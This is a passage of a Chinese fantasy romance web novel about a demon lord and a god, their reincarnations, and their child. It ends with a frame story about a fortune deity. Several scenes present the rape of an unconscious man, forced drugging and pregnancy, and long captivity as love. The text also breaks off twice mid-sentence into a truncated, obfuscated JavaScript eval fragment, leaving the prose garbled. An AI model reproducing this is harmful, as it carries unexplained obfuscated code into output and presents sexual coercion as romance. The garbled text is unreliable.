拓拔宸好奇地伸手去摸楚晏的肚子:“爹亲你真的怀了弟弟妹妹吗?那我怎么办?爹爹怎么办?” 楚晏摇头:“没有,你别听你秦叔叔胡说,现在最重要的是你带我去找你爹爹,我有话要问他。” 拓拔宸小嘴儿一撅:“我才不要叫那个坏人叔叔!爹爹就在客栈门口。” “客栈门口?”那秦冲出去岂不是会见到拓拔烈?不好,当即抱起拓拔宸,“爹亲带你去找你爹爹。” 拓拔宸一脸欢喜:“好啊好啊!去找爹爹咯!” 出门的时候,楚晏忍不住问:“你爹爹就在客栈门口,为什么让你先来他不进来?” 拓拔宸道:“他觉得他要是来你不会见他,就让我先来找你。” “……”这人还挺有自知之明。 刚推开门,就看见高大挺拔的男人站在院子里,那双极具侵略性的眼睛温柔如水地看着他,说:“子卿,跟我回北蛮吧。” 拓拔宸欣喜地大叫:“爹爹!” 楚晏却抱着拓拔宸后退了一步,不自觉握紧颈间的玉龙哨,“你什么时候进来的?”,小心地向四周看了看,“秦冲呢?你看见秦冲了吗?” “秦冲……”拓拔烈唇角微勾,“他再也不会回来了。” 46.第二十三章 楚晏不可置信地睁大眼睛:“你说什么?不可能!” 拓拔烈眼神沉沉地盯着楚晏那张愈发白皙细腻的脸,“这一个月……你都跟秦冲在一起?” 那目光太过炽热,楚晏偏过头,“跟你有什么关系?” “怎么跟寡人没关系?我们曾经那般亲密,还有了小宸……” 拓拔烈说着,向他走了过来,楚晏忍不住向后退,拓拔烈一个箭步冲上来抓住他的手腕,眼神如毒蝎般截住他:“你怀孕了!是秦冲的种?” 楚晏大惊:“我怀孕了?这不可能!”这又不是梦,他怎么可能怀孕? “爹亲怀孕了?”拓拔宸激动地向拓拔烈告状,“是那个坏人干的!爹爹我过来的时候看见爹亲光溜溜地跟那个坏人抱在一起!那个坏人还凶我,爹爹你要狠狠地帮我教训那个坏人!” 拓拔烈沉声问:“坏人是谁?” 拓拔宸回忆着:“好像叫秦……秦什么?” 拓拔烈眼神一暗:“秦冲?” 拓拔宸点头:“对对对!就是秦冲!那个坏人!” 拓拔烈忽然自嘲般地一笑,喃喃道:“这么多场梦境,寡人还是输给了他。” 又想到了什么,唇角微勾,“没关系,他的就是寡人的。” 楚晏蹙着眉头听着:“你在说什么?” 拓拔烈深邃的目光盯着楚晏,“子卿,你想知道这一切都是怎么回事么?梦、萧寒、南陵王,还有小宸……” 楚晏反应过来:“这一切都是你策划的?” 拓拔烈挑了挑眉:“你知道他们为什么都在湘州做梦吗?” 拓拔烈看着他的眼神一暗,眼底有幽幽的火:“因为那里是我们得到你的地方。” 楚晏一惊:“你们?” 拓拔烈点头:“对,我们,寡人、萧寒、南陵王,还有……” 说到这里,他停下来,刻意地看着楚晏的表情,缓慢地说出:“秦冲。” 楚晏浑身一震,“这究竟是怎么回事?” 拓拔烈掌心散发出耀眼的金光,一点楚晏的眉心。 记忆奔涌而来。 三月的湘州,桃花满天飞舞,树下躺着一个浑身赤裸的男人,男人的身体很美,恍如一块天然的美玉,每一寸肌肤都像羊脂玉一般白皙滑腻,从肩颈到小腿每一处线条都完美到了极点。 只是那赤c裸的身体上带着点点红痕,犹如红梅落在白雪上,清艳又旖旎。 男人紧闭着双眸,又长又浓的睫毛铺在白皙光滑的脸上,眉间一抹银白的冰雪印,那是无情的象征。 纵使浑身赤c裸,周身依然散发着神圣,清冷,不可侵犯的气息。 这时,一个黑袍男人步履悠然地走来,轻柔地将地上的男人抱在怀里坐在树下,细细地看着怀中人的脸,那张脸白皙如玉,光滑细腻,毫无一丝瑕疵,仿佛是上天最好的工艺品。无疑,这张脸是美的,美中又带着丝丝清冷,清冷又绝美,天上人间都找不出第二张这样的脸来,神界至强者,紫宸帝君。 男人不由想起两人初见时的情景。 那时他刚刚踏过九霄万魔塔,登上魔尊之位,便有下人通报有人找他,他出来时看见那人雪衣乌发立在那里,美过世间所有美丽的风景。 重夜想,这么美的人,应该去抚琴作画,而不是拿着一柄剑打打杀杀。 他调戏了紫宸几句,两个人便打了起来,打着打着,他见紫宸突然咳嗽起来,一时心软去救,长剑已经刺入胸口,“想不到你们神界的人……也会偷袭……” 那双美丽的眼睛看着他,微微闪烁着,激起了他的征服欲,自那以后,他满脑子都在想着怎么让这个人臣服,他去仙界挑衅、神界挑衅、他甚至跑到中极上清天去挑衅,都没有见到紫宸的人,现在他终于让他找到了这个机会。 “紫宸啊紫宸,本尊说过,终有一日,你会成为本尊的魔后,现在,你终于落到本尊的手里了。” 男人从回忆中回神,粗糙的指腹摩擦着那淡粉色的唇,那唇唇形美好、唇上肌肤细嫩柔软,世间最冷莫过天上紫宸星,只有他知道,这唇的滋味有多么甜软,发出的声音有多么令人沉醉。 男人想起昨夜之事,不由浑身燥热,“既然你还没醒,那本尊就不客气了。” 他说着,手中幻化出一团黑雾,黑雾散去,一个散着蓝紫色光芒的酒杯端立掌心,“酒不醉人,人自醉。”说完,一口饮尽杯中酒,俯身下去,将口中的酒渡给怀中人,手从领口伸了进去。 经过昨夜,怀中人很容易地接受了渡过来的酒,一股钻心的辛辣感从喉咙一直漫延到了胃里,美人眉心微蹙,呛咳了几声。 哟,要醒了啊……男人听见动静抬起头来,薄唇勾起,他倒是想知道,这颗孤冷的紫宸星,落到他这死对头的手里,是个什么反应? 只见怀中人长睫动了动,睁开了那双足以令众生都羞愧的美丽双眼,对上男人那双深邃锐利的双眼,声音低沉而极富磁性:“你醒了?” 魔尊重夜,他怎么会在这里?意识到自己浑身赤裸躺在对方怀里,惊得当即想要挣脱,却被重夜死死箍住胳膊,他恼怒地大叫:“你放开本君!” “为什么要放开你?你受了重伤,本尊好不容易把你救回来……” 紫宸冷冷打断他:“本君不需要你救,你放开!” 重夜看着他的眼神忽然变得暧昧:“别那么无情嘛,本尊卖了一晚上的力,如今你我可是亲如夫妻般存在呢。” 听重夜这么说,紫宸顿时感觉到身后那个难以启齿的地方传来撕裂般的剧痛,那双美丽的眼睛顿时变得锋利无比:“你对本君做了什么?” “自然是快活的事啊!你感觉不到么?本尊的技术如何?”重夜说着,轻挑地抚着他的嘴唇。 奇耻大辱!简直奇耻大辱! “滚!”紫宸大喝一声,身上银光大射,震开了重夜,银白长衫迅速披在身上,手中银光一闪,幻化出一柄银白如霜的宝剑,旋即向重夜刺去。 重夜闪身躲开,“刚醒就要杀你夫君,你可真是绝情啊!” 几招过后,紫宸忽然捂住心口,痛苦地俯下身去。 重夜慢慢踱到他面前,“这世上能伤你的,除了天印,每千年,你为了封印天印,都要耗费大半的法力,你为了他们付出这么多,那帮神界仙界的人除了表面上感恩戴德,有谁真正地心疼你?” “不用你管!” “你是本尊的人,本尊不管你,谁来管你?” 重夜说着,掌心凝聚出一团黑雾,在紫宸身上几处一点,封住他的法力。紫宸顿时瘫软在他怀里,他把人打横抱起来,“你现在的身体状态,不宜动用你的法力,本尊带你回魔界,别管什么天印了,本尊知道一种令男人怀孕的法子,你老老实实给本尊生个孩子,在魔界教他吟诗作画,如何?” 紫宸气得浑身发抖:“你滚!本君不会给你生孩子!” “这可由不得你。”重夜低头吻了一下紫宸的额头,化作一团黑雾消失在桃花树下。 神界的紫宸帝君失踪了,神界仙界发动了大批人寻找皆无果。与此同时,魔尊将一个覆着面纱的白衣男子带回魔界,力排众议封为魔后。魔后轻易从未出过魔宫,是以,除了魔宫之人,谁也没见过魔后长什么样。 “陛下,帝君失踪了,那下次天印松动该怎么办呢?天印要是出了事,六界都会跟着遭殃啊!” 神帝眼神一沉:“再派一些人继续找!务必找到帝君!” 七百年后,魔界魔宫内。 魔尊重夜大发雷霆:“七百年了!为什么魔后还生不出孩子?!” 魔医颤颤巍巍地跪在地上:“尊上,恕老臣直言,可能是魔后他自己……不想生。” “不想生?”重夜眼神沉了下去。 又是一夜缠绵后,重夜照常穿好衣服,俯身吻了一下紫宸的唇,“本尊去上朝了,你把乖乖药喝了。” 紫宸偏过头:“你到底……要拘我到何时?” 重夜低笑着看着他:“本尊不是说了,要你为本尊生个孩子。” 重夜走后,紫宸呆呆地坐在床上,不知道在想什么。 这时,有侍女端着一碗汤药进来,“魔后娘娘,该喝药了。” 紫宸怔怔地盯着凌乱的床铺:“你出去,我一会儿自己喝。” 侍女应了一句,出去带上了门。 紫宸起身,将桌上的药端起来走到窗边倒入花盆里。 随着最后一滴药汁滴入花盆里,他抬头,对上一双深邃而锐利的眼,“你……不是去上朝了?” 重夜一下子化作黑雾进了屋子里,一把揽住紫宸的腰,轻轻贴近他的耳朵,“宝贝,本尊不知你如此想留在本尊身边。” 紫宸一下子爆发,剧烈挣扎起来:“本君不想生孩子!” “这可由不得你!”重夜说着,掌中黑雾盈起,一碗药汁现于掌中,他喝了一口,俯身吻住紫宸的唇,将药汁强行喂进他口中,将人打横抱起扔在床上覆了上去。 五年后魔宫,一个男娃顺利出生。 “尊上,魔后已经不吃不喝五天了!再这样下去身体要废了!” “本尊知道了。” 重夜抱着孩子走进屋,看见紫宸呆坐在床边,不知在想什么。 “你不吃不喝也不肯看孩子,到底是在跟谁赌气?” 床上的人不答话,重夜抱着孩子走到床边,“紫宸,你看他长得好像你,我们叫他小宸好不好?” “他的大名我也想好了,就叫重慕宸,重夜倾慕紫宸,好不好?” 紫宸睫毛微颤,重慕宸,重夜倾慕紫宸…… 忽然,重夜大叫道:“紫宸你看,我们的孩子睁眼了!” 紫宸转过身来,看见襁褓中的孩子,小小的一团,跟雪团似的,漂亮又可爱,那小雪团儿黑亮的眼睛盯着他,小嘴儿弯起,咯咯笑了起来,那双美丽空洞的眼睛渐渐亮了起来,情不自禁地接过孩子。 重夜坐下来将紫宸和孩子一起搂在怀里,“紫宸,留在我身边,别回神界了。” 紫宸冷笑道:“你封住了我的法力,我还有别的选择吗?” 重夜道:“你常年与我交合,如今又生了孩子,用不了多久,就可以自行冲开我的封印,但是神力会有所减损。” 紫宸心中一动:“会减损多少?” 重夜道:“四成,但休整个五百年就会回来了。” 五百年……距离下次天印松动只有三百年了…… 似乎知道他在想什么一般,重夜道:“所以,下次天印松动你就别管了,你的神力减损了四成,连我都打不过,更别提封印天印了。你不在自然会有人封印,神界那么多人,封印天印不是非你不行。我知道你怨我,但孩子还小,他需要你,你忍心让他一出生就失去你的陪伴吗?” 紫宸看着怀中的吐着泡泡玩得正欢的孩子,缓缓道:“我……需要时间想想。” 又三百年后,天印松动,失踪了一千年的紫宸帝君再次出现修补天印,当封印一半时却因神力不支掉入轮回。 黑袍男人望着裂痕的天际,无奈地叹了口气:“我就知道你要来,却还是能来得及阻止你。小宸才三百岁,你就舍得扔下他,最冷莫过天上紫宸星,是我错了,我以为你生了孩子会爱护自己的身体,没想到你还是选择了众生。” “我知道你不喜欢魔,我便用这一身魔力帮你修补天印,从今往后,你再也不用修补它了。” 男人身上黑雾大涨,一直弥漫到天际,天空中的裂痕一点一点聚合,直到再看不出一丝缝隙。 地上的男人踉跄了一下,勾唇笑笑,看着掌心最后一团黑雾,“红尘太美,怎能没有我陪你?紫宸,等我。” 这时,白雪团似的小男孩哭着跑过来:“爹爹!爹爹!爹亲呢?我听说爹亲掉入轮回了,我要爹亲呜呜呜……” 男人轻轻拭去小男孩的泪水,拉住他的手:“小宸不哭,爹爹这就带你去找爹亲。” 小男孩顿时破涕为笑,拍手道:“去找爹亲咯!去找爹亲咯!” 男人掌心黑雾漫起,将两个人包裹其中,一眨眼的功夫两个人已消失不见。 现在楚晏有了紫宸的记忆,随着记忆的回归,紫宸的神力也跟着一点一点恢复,他从回忆中回神,不禁问:“重夜明明是一个人,为什么我能在四个人身上感受到他的气息?” 拓拔烈、秦冲、萧寒、萧弈…… 拓拔烈道:“重夜用了几乎全部魔力帮你修补天印,剩下最后的魔力陪你入轮回,入轮回的时候重夜已经是一个毫无魔力的普通人,普通人直接入轮回,会承受不住,重夜的三魂七魄便分成了四个人,寡人是重夜的七魄,萧寒、萧弈、秦冲分别是重夜的三魂。” “寡人提前觉醒,并且有了重夜的部分法力,寡人知道,重夜的执念是你,要想让重夜三魂七魄归位,就必须要让他们三个与你交合,但是寡人不想让他们碰你,便造了几场梦,让他们在梦里得到你。” 那四个人都已经在梦里和他……想到这里,楚晏浑身一震,看着拓拔烈的眼睛,“那也就是说,你……” 拓拔烈明白他的意思,“寡人用了一个月的时间,与萧寒、萧弈融合,刚刚也与秦冲融合完毕,现在你看到的这个人,是拓拔烈,也是秦冲、萧寒、萧弈,更是重夜……” 说着,面前的男人忽然变化了个样子,五官英俊,眼睛深邃得一如往昔。 重夜……楚晏心中又是一震,还没来得及说话,怀里的小宸好奇地睁大眼睛:“爹爹你怎么变了个样子啊?” 重夜宠溺地摸了摸他的头,宠溺地道:“小宸乖,这个爹爹以后再跟你解释。” “哦。”小宸似懂非懂地点点头,虽然他不知道为什么,但是他十分确定面前这个人就是他的爹爹。 紫宸顿时想到什么,又问:“那小宸入了红尘,为什么会从梦里跑到现实来?” 重夜道:“小宸是神魔体,虽入轮回,但只能从你的肚子里出来,这也是我为什么坚持让你生小宸的原因。他还小,我还没有帮他恢复记忆,不过你别担心,我们都恢复了,他是神魔体,出了轮回只要再过个几个月就可以恢复记忆了。” 重夜忽然认真地看着他:“还有一个问题,我想替拓拔烈问你,他本想在现实中直接掳了你把小宸生出来,但是他又不想你太难受。他不明白,明明秦冲跟萧寒和萧弈一样都是三魂之一,他更是七魄,为什么你独独喜欢秦冲?他本想先让你在梦里与寡人交合,结果连续试了几场全都是和秦冲在一起,这是为什么?” “因为……” 紫宸的思绪渐渐飘远。 那一日,他去除魔归来,脱力地晕倒,醒来在发现他被子下面的身体竟是赤裸的,身体后面那个难以启齿的地方充满了撕裂般的痛感,他隐约猜测到自己可能经历了什么,他活了几万年,对这种事情不会一点都不知道,转头看见床边守着的男人。 紫宸宫位于中极上清天,是天之最高处。除了他和重夜不会有别人,会对他做这种事的人……想到这里,他看着床边的男人,美丽的眼睛微微眯起:“重夜,昨夜本君回来之后发生了什么?” 重夜心里咯噔一下,低头回道:“您昨夜伤得太重,属下帮您疗了伤。” 他见重夜这反应,心里已经确定了大半,胸中积攒起怒火,声音沉了几个度:“除了疗伤,你还对本君做了什么?” 重夜知道瞒不住,急忙到地上跪下:“对不起,君上,属下昨夜帮您疗伤的时候没控制住……” “混账!你竟敢对本君做这种事!” 他登时大怒,抬手就是一个巴掌打过去,重夜脸上顿时出现了五个清晰的指印,“君上,属下喜欢你,属下……” 他正处于盛怒之中,没心情听重夜说话,化出银白长衫披在身上,掌中银光闪过,丢过去一柄银蓝色的宝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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心中的那点激动一下子枯冷,意料中的答案,是他妄想了。 重夜苦笑一声,闭上了眼睛:“君上,属下心愿已了,动手吧!” 他等了一会儿,没有等来意料中的疼痛,惊喜地睁开眼:“君上?您不杀属下了?” 紫宸点头:“本君可以饶你一命。” 君上对他手下留情,是不是也对他有一点感情?紫宸接下来的话打破了他的幻想:“但你不能留在本君身边了,本君会消除你的记忆,从今往后,你便留在下界做个散仙吧。”说着,手中聚起一团银光。 重夜惊恐地后退,“君上,你不能消除属下的记忆!” “君上,属下求你,不要消除属下的记忆,属下宁愿你杀了属下!”重夜跪在地上不停地磕头,将头磕得鲜血淋漓。 紫宸不忍再看,直接将光团推向重夜,那银色光团避无可避地钻入了他的脑中,那一瞬间,他的心好像一下子缺失了什么很重要的东西,再次睁眼,重夜感到额头一阵剧痛,不由捂住额头,掌心一片黏腻,他一看,“怎么这么多血?”有些迷茫地看着四周的景象,“我这是在哪?”看见不远处美丽的白衣男子,不由站起来走向他:“你知道我是谁吗?” 紫宸抬手治愈了他额头上的伤,“你叫重夜,是一个犯了错的小仙,被罚留在下界,现在你去找这凡间的土地,让他给你找点事情做。” “哦。”重夜懵懂地点点头,转身就走。 走着走着,他忽然心慌得厉害,有一种失去了很重要的东西的感觉,仿佛他这一走,就会再也回不来一般。 他猛地回头,带着一脸希冀地看着那白衣男子,有些笨拙地问:“我……我能不能不走?” 紫宸有些讶然重夜的忽然回头,愣了一瞬,才道:“不能,你必须走。” 他不明白:“为什么?” 紫宸语气冷硬:“你犯了错。” 重夜好奇地问:“那我犯了什么错?” 紫宸避开他的视线,语气有些不自然,“这个你不用知道,你快走吧。” “哦,那我走了,再见,美丽的神仙哥哥。”重夜冲他咧嘴笑着摆摆手,转过身去。 紫宸看着那黑色的身影一点点消失在视线中,心忽然有些空。 “君上,这虾不好剥,属下帮您剥吧!” “君上,天凉了,您畏寒,记得多穿点衣服。” “君上,属下喜欢你,是想要娶你为妻、保护你一生一世的那种喜欢。” 他怔怔然地出神,有零碎的片段在他眼前闪过,仿佛男人低沉的喘息声在耳边响起:君上,你好紧…… 他顿生怒气,挥袖飞回天上。 这晚,紫宸半夜醒了口渴,下意识地唤:“重夜,给本君倒杯水。” 他等了一会儿,外面没有人应他,才想起来,重夜已经被他赶走了。 他只好摸着黑披衣下床自己倒了杯水喝,回到床上,看着黑漆漆的屋子,怔然出神。 这日,溯流星君来到中极上清天找紫宸下棋,左看看右看看,觉得缺了点什么,“紫宸,你身边那个小跟班呢?” 紫宸执棋的手一顿,“犯了错,我罚他下界了。” 溯流星君顿时纳闷:“不应该啊!那小跟班跟你那么紧,舍得离开你啊?上次他还找我学下棋呢,说等学好了陪你下棋,这小子有点棋艺天赋,又虚心,学得挺快的,没准儿以后真能跟你对弈呢!唉,可惜咯!”星君哀叹了一声,又问:“哎!他犯啥错了?你还打不打算让他再回来了?” 紫宸顿时面色一冷,“以后别提这个人了。” 不提就不提吧!溯流星君唏嘘,看来这犯的错还挺大! 下着下着,溯流星君又问:“你万把年身边就这一个跟班,没有跟班会不会不适应啊?考没考虑过再找一个啊?” 紫宸心生烦躁:“再说吧。” 溯流星君不死心地道:“我说你单着几万年,这紫宸宫也没个知冷知热的人,青湘神女多好的姑娘啊,巴巴地等了你两万年,不考虑考虑她?” 紫宸凉凉地看他一眼:“你是来下棋的还是来说媒的?” 溯流星君摇头叹:“得!好心当成驴肝肺,我闭嘴!” 又一次在黑夜里醒来,紫宸躺了一会儿睡不着,索性披衣下地,看见墙角挂着的擦拭得干净光亮的琴,忽然响起男人的话。 “心情不好不要总去吹风,您的琴属下已经擦过了,墨属下也研好了,下次心情不好的时候您可以抚琴作画……” 他将琴拿出来,坐下随手拨弄了几下琴弦,琴声忧郁而缠绵,他的琴声向来清越,怎么会变成这样? 他心慌地站起来,走到案前,看见案上摆放着亮黑的墨汁,上面覆了一层暗蓝色的保护罩,仿佛能看到那人用心研磨的场景,心中微暖,抬手撤了那保护罩,拿起笔,蘸了墨,画了起来。 待他回过神来时,画纸上的男人一身黑袍,高大挺拔,一双深邃的眼神灼灼地望着他。 仿佛男人贴在他脸侧,呼吸灼热地说:“君上,我喜欢你。” 他的脸控制不住地热了起来,他快步走出去,看着清晨灰蓝的天空,一阵冷风吹过,他忍不住打了个寒颤,忽然肩上一沉,仿佛感觉到有人给他披了件衣服,他心中一喜:“重夜!” 当他转过身去,明明空无一人,只余一片独自烂漫的桃树,心忽然就空了,他怔怔地站在那里,良久。 “紫宸!紫宸!”又过了一些时日后,溯流星君慌慌张张地跑到中极上清天来。 紫宸披着衣服走出来,掩着嘴咳嗽不停,“什么事?” 溯流星君看见他的样子,眉心一皱:“你怎么病得这么厉害?你是不是又去吹风了?你一心情不好就去吹风,你封印天印身体畏寒不知道吗?你这个神界至强者把自己身体搞得跟个凡间的风烛残年的老人一样,唉,身边少个人就是不行啊!不行!” 紫宸面无表情地听他一通抱怨,“你来找我什么事?” 一提起这个,溯流星君登时来了兴致:“紫宸你知道吗?你那小跟班成了魔尊了!” 47.第二十四章 紫宸眉心一蹙:“你说什么?” 溯流星君兴致勃勃地道:“我魔界的老友刚传过来的消息,你那小跟班成魔尊了,群魔拥戴,好不威风啊!我说你那小跟班天赋挺高的,怎么就想不开入了魔了呢?自从老魔尊被你灭了之后,魔界群魔无首,如今有了新魔尊,魔界还不得大干一番啊?我寻思着过些时日,神仙两界就该商量着要讨伐他了呢!” 溯流星君刚说完,眼前一道银光闪过,白影一下子消失在眼前,溯流星君反应过来,“哎,紫宸!你上哪去?” 魔宫内,妖娆的魔女们翩翩起舞,上位的黑袍男子倚在榻上,百无聊赖地转着蓝紫色的夜光杯。 这时,一魔兵附耳过来:“尊上,紫宸帝君在外面,说要见您,紫宸帝君是神界至强者,之前老魔尊就是死在他手里,他今日好像是一个人来的,不知有什么意图,要不要多派些人将为老魔尊报仇?” 紫宸帝君,有意思……重夜唇角一勾,挥手制止:“不必,本尊要单独会会他。” 重夜走出来,看见不远处站着一个白衣男子,正掩唇轻咳。 看来这帝君身体好像不太好啊,他饶有兴致地问:“紫宸帝君大驾光临我魔宫,不知有何贵干?” 男子听到动静转过身来,一双美丽如湖泊一般的眼睛望过来,视线在他身上萦绕的黑色魔气划过,在他眉间黑色的堕魔印停了一会儿,皱眉问:“为什么做魔尊?” 重夜觉得男子的长相有些熟悉,“本尊记得你。” 紫宸眸光微动,仿佛微微流淌着动人的涟漪。 重夜朗笑道:“你是那个告诉本尊名字的人,原来你就是紫宸帝君。” 那片涟漪一下子恢复了平静,紫宸道:“不错,本君正是紫宸。本君记得当初要你去找湘州土地让他给你安排一些事务,你为什么来了魔界做了魔尊?” 重夜道:“那老头给本尊安排的事本尊不喜欢,本尊就走了,听说魔界自由自在,我就来魔界了,后来看见他们斗法选魔尊,本尊手一痒,就选上了。” 紫宸听到这里,忍不住怒喝一声:“胡闹!做魔尊这种大事怎能儿戏!” 重夜觉得莫名其妙:“本尊想做就做,紫宸帝君如此激动做什么?” 他打量着紫宸白皙精致的容颜,勾唇笑道:“还是说紫宸帝君对本尊有什么想法?” “本君能对你有什么想法?!” 看见他这轻挑的表情,紫宸气得几乎想当即拂袖而去,又想起来此行的目的,冷着一张脸,看着他道:“本君来,是想劝你放弃魔尊之位。” 重夜挑眉:“要本尊放弃魔尊之位,为什么?” 紫宸道:“魔肆意妄为,多行不义之事,你做魔尊不但没有好处,反会遭神仙两界讨伐。” 重夜耸耸肩:“本尊不在乎。” 紫宸蹙眉:“那这么说,你是不会放弃了?” 重夜忽然眼神沉沉地看着他:“要本尊放弃魔尊之位,也不是不可以……” 紫宸心念一动,对上重夜深邃的眼神,“除非,你做本尊的魔后。” 紫宸下意识地道:“不可能!” “不答应就算了。” “那就动手吧,看看本尊和你这神界至强者到底谁更胜一筹,若本尊输了,本尊便不做这魔尊了,若你输了,就要乖乖做本尊的魔后,如何?”重夜浓眉一挑,望着紫宸的眼里是势在必得的笑意。 “好。”紫宸手中化出银白长剑即刻向重夜刺去。 重夜掌中化出黑雾迎了上去。 两人交手几百回合不见分晓,这一次,当重夜黑雾漫过来时,紫宸忽然感到嗓子发痒,剧烈地咳嗽起来。 “小心!”重夜几乎本能地冲过去抱住紫宸,下一秒,冰凉的长剑刺入胸膛,重夜跌落下去的时候,唇角微勾,露出苦涩的笑意来,“想不到你们神界的人……也会偷袭……” 紫宸握着剑的手微微颤了一下,他是不是做错了? “既然你偷袭,那本尊就没有必要遵守诺言了,紫宸,你等着,总有一天,你会成为本尊的魔后!” 他怔忡间,人已经化作一团黑雾消失在眼前。 后来,他去封印天印受了重伤被重夜带到魔宫。 再后来,他生下了小宸。 再后来,他去封印天印掉入轮回,这段记忆就此尘封。 如今红尘几场梦过后,紫宸内心挣扎几许,望着面前这双深邃得熟悉的眼睛,“你有没有想过,你用了全部魔力帮我修补天印,为什么现在还会有法力?” 重夜一怔,这也是他百思不得其解的地方,紫宸微凉的手指点上他的眉心,那些尘封的记忆奔涌而来。 “君上,属下喜欢你。” 脑中响起一个遥远又熟悉的声音,那是一个男人,赤诚的告白。 他情不自禁地握住那温凉又修长的手,唤出一个熟悉的称呼来:“君上……” 紫宸眼眸颤了一下,“你想起来了?” 重夜点头:“我想起来了,属下的法力,是君上你一招一式教属下的。” 随着尘封记忆的开启,他又想明白了什么:“你喜欢秦冲,是因为秦冲身上有先前重夜赤诚的特质吧?你最怀念的,还是从前那个跟在你身边,毫无怨言,甚至有些笨拙的重夜,对吗?” 看到紫宸长睫微动,重夜便知道自己说中了,他继续道:“可萧寒、萧弈、拓拔烈也同样爱你,在现实中,他们尊重你,爱惜你,把你看得比自己的生命还重要……” 紫宸听得心尖微颤,重夜贴近他的耳边亲昵道:“不过既然你喜欢,那我以后就是秦冲,不过现在小宸还没恢复记忆,我便不化形了,晚上再化出他的样子给你看。” 看见他们两人这个样子,重慕宸不禁用小手捂住眼睛,还不忘露出了条缝来,“爹爹爹亲你们好肉麻呀!我都看不下去了!” 重夜笑了笑,将重慕宸从紫宸的怀里抱过来,道:“来,爹爹和爹亲带你去我们以前生活过的地方。” 重慕宸兴奋地拍手道:“去爹爹和爹亲以前生活过的地方?好呀好呀!” 神界中极上清天,冰蓝的宫殿前,艳粉色的碧桃花大片大片地开着,不远处,两个少年带着黑袍小男孩欢快地蹲在池塘前撩水逗鱼玩,两个少年,一个黑袍机灵,一个白衣清秀。 清秀少年皱眉:“阿昭你不要教小公子捉鱼了,那鱼在水里游得多开心,你非要折腾它们干什么?!” 黑袍少年十分有理地道:“禾玉你这话就不对了,这些鱼都是有灵性的,它们愿意跟我们玩,对不对小公子?” 黑袍小男孩连连点头:“对对对!阿昭说得有理有理!” 清秀少年气愤地跺脚:“君上!你看阿昭!教坏小公子!” 远处的黑袍男子正趴在摇椅上白衣男子微微隆起的腹部听着什么,满脸都是被打扰的不快:“阿昭,你管好禾玉。” 黑袍少年见自家主子脸色不对,连忙拉过禾玉:“禾玉,来来来,一起逗鱼一起逗鱼!” 清秀少年不情不愿地被拉过去,嘟嘟囔囔:“也就是君上怀了孕不爱管事,不然你完蛋了!” 又听黑袍男子问那小男孩:“小宸,你希望你爹亲肚子里的是弟弟还是妹妹啊?” 听到这个,小男孩站起来大声道:“弟弟会跟我抢饭吃!我要妹妹!” 黑袍男子爽快地笑道:“好,那咱就给你生个妹妹!” 白衣男子皱眉:“不是妹妹怎么办?” 黑袍男子贴近他的耳朵,亲昵地道:“不是咱就再给他生一个。” 白衣男子恼怒地推开他,这时飞来一只信鸽,是溯流星君的口吻:“你和你的小跟班修成正果了,我和我的女神青湘也修成正果了,下月初三来玉清天溯流宫喝喜酒吧!” 两人怔愣了一瞬,忽然相视而笑。 三月初三,玉清天上,一对新人喜结良缘,酒席上黑袍小男孩眨着水灵灵的大眼睛问着身边的黑袍男子和白衣男子:“我怎么没见过爹爹和爹亲办婚礼啊?” 白衣男子顿时尴尬得脸通红,黑袍男子接话道:“等生了妹妹再办。” 三个月后,只听屋里激动的男声:“生了生了!” 等在外面的小男孩兴奋跑进屋子:“是妹妹吗?” 黑袍男子笑着抱着怀里的婴儿,点了点头。 小男孩兴奋地大叫:“耶!爹爹和爹亲要举行婚礼咯!” 又是一年三月春,一对新人红衣如烈火,燃尽了所有的春色,在小男孩和小女孩的欢呼下,走进了散发着蓝色光华的宫殿。 重夜揭开了身边人的盖头,对上了那双湖泊一般美丽的眼睛:“谢谢你能接受我,我的君上,我爱你。”说完,温柔而虔诚地吻上了他柔软的嘴唇,搂着他倒向了床铺。 情到极致时,那双美丽的眼睛浸满了水汽,沙哑地回了一句:“我也爱你。” 上方的男人心头一震,胸腔漫起了汹涌的情意,情爱更加猛烈,变得无可控制,他们十指紧扣,眼里倒映着对方的面容,眼底承载的情意,不仅一生一世,而是往后千千万万的岁月。 ——第三个话本完 眼前一切的影像瞬间坍塌,沈桥再次睁开眼睛的时候,回到了熟悉的时明星君的府邸。 这本话本写得不错,很完整。就是……那啥情节也太多了!脑洞也大,还整出分裂来了。 紧接着,沈桥看到了一个高大的背影。 很快,那高大的背影就转了过来。 虬髯胡,浓眉眼,像座小山似的。 这就是武曲星官? 他意外地觉得。 这武曲星官……长得好生威武啊! 武曲星官看着他,伸出大手:“你好,财神星官,我是武曲星官齐行之。” 沈桥伸出手,握住了齐行之的手:“齐兄你好,我是沈桥。” 齐行之低头一看,对方白嫩的小手和自己黝黑的大手形成鲜明的对比。 大红色衣服像是喜服一般。 那双眼睛美艳得像秋水。 齐行之忽然笑了一下:“凡人齐彬,见过财神星官。” 这一笑,那凶神恶煞如同壮汉一般的脸显得异常温柔。 沈桥顿时瞪大眼睛:“啊?你就是齐彬?!你怎么会成为一个凡人?你历劫了?” 齐行之点头:“是,我下凡历劫了。”说着,他面向沈桥,长长地鞠下一躬:“我写的话本,冒犯了沈兄,对不起。” 沈桥竟然有点紧张,忙去扶:“没关系没关系。”仓促间碰到了齐行之的手臂,那温热的触感烫得他的心一颤,他是怎么了? 明明十分不满这人写的话本,却没能好意思说出口。 齐行之道:“沈兄我还有事,就先走了,改日我一定登门道歉。” 啊?这就走了?沈桥有些猝不及防,他笑了笑,说:“不用那么客气。” 齐行之向他一点头,转身离开。 真潇洒啊……看着齐行之离开的背影,沈桥忽然有了怅然若失的感觉。 眼前多了一双手:“喂!回魂儿啦!” 沈桥回神,看见时明星君的脸笑得像朵菊花:“人都走了?还看呐!” 沈桥忍不住反驳:“谁看了?!” 他忽然想起来很关键的问题,赶紧拉着时明星君确认:“不会再有穿书了吧?这是最后一次了对不对?” 时明星君再三点头:“对对对!最后一次了!你再也不会穿他的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 